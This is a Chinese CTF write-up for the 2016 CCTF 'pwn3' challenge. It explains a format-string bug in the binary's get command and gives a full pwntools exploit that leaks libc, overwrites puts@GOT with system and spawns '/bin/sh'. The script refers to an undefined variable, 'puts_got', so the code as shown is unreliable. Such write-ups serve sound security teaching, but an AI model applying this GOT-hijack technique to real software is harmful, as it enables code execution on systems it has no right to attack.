2016 CCTF pwn3

发布时间 2023-11-07 20:25:44作者: cosylan

本题来自ctf-wiki,是一道 hijack GOT的例题

确定保护机制

发现主要开启了NX保护

分析程序

用ida反汇编一下,这个程序主要是实现了用正确用户名、密码登录FTP,具有get、put、dir三个基本功能

首先是第一个函数ask_username,发现它读取我们键入的字符串,并且每个字符加1

第二个函数ask_password,发现它就是比较一下输入的字符与sysbdmin是否一致,不一致直接退出,所以可以得出我们要输入的用户名即 sysbdmin 每个字符-1 即 rxraclhm

接下来是put函数,主要功能就是自定义一个文件并存放,定义的文件构成一个链栈,不直接存在于磁盘上

然后是dir函数,主要功能就是查看有哪些文件,运行时发现输出的时候会把put后的文件名连接在一起输出

最后是漏洞函数get,可以明显地看出存在格式字符串漏洞,发现漏洞载体dest与esp距离为1ch,所以经过计算得出 它所在的位置为 0x1c/4 = 7 ,第7个参数,并且因为puts函数一定会调用,可以利用puts函数来调用system

这样就可以确定步骤和编写exp了

from pwn import *

elf = ELF('./pwn3')
libc = ELF('/lib32/libc.so.6')
sh = process('./pwn3')

sh.recv()					# 进入main函数

# 对put函数利用
def put (name,content):
    sh.sendline('put')
    sh.recvuntil("please enter the name of the file you want to upload:")
    sh.sendline(name)
    sh.recvuntil("then, enter the content:")
    sh.sendline(content)

# 对get函数利用
def get (name):
    sh.sendline('get')
    sh.recvuntil("enter the file name you want to get:")
    sh.sendline(name)
    data = sh.recv()
    return data

# 计算用户名
usr = ""
temp = "sysbdmin"
for c in temp:
    usr += chr(ord(c)-1)

sh.sendline(usr)			                # 通过用户验证

puts_got_addr = elf.got['puts']				# 获取got表上的addr地址

# 因为在前面有一个scanf函数,为了防止它把printf高八位的0截断,所以将%7$s放在了前面,所以要变成 %8$s
put('sh', b'%8$s' + p32(puts_got_addr))		
puts_addr = u32(get('sh')[:4])

system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']	

# 调用fmtstr_payload,把GOT表上的puts函数换为system函数,使下次调用puts函数时会直接调用system函数
payload = fmtstr_payload(7, {puts_got:system_addr})		
put('/bin/',payload)						# 两次put,文件名刚好连成了/bin/sh
get('/bin/')

sh.sendline('dir')
sh.interactive()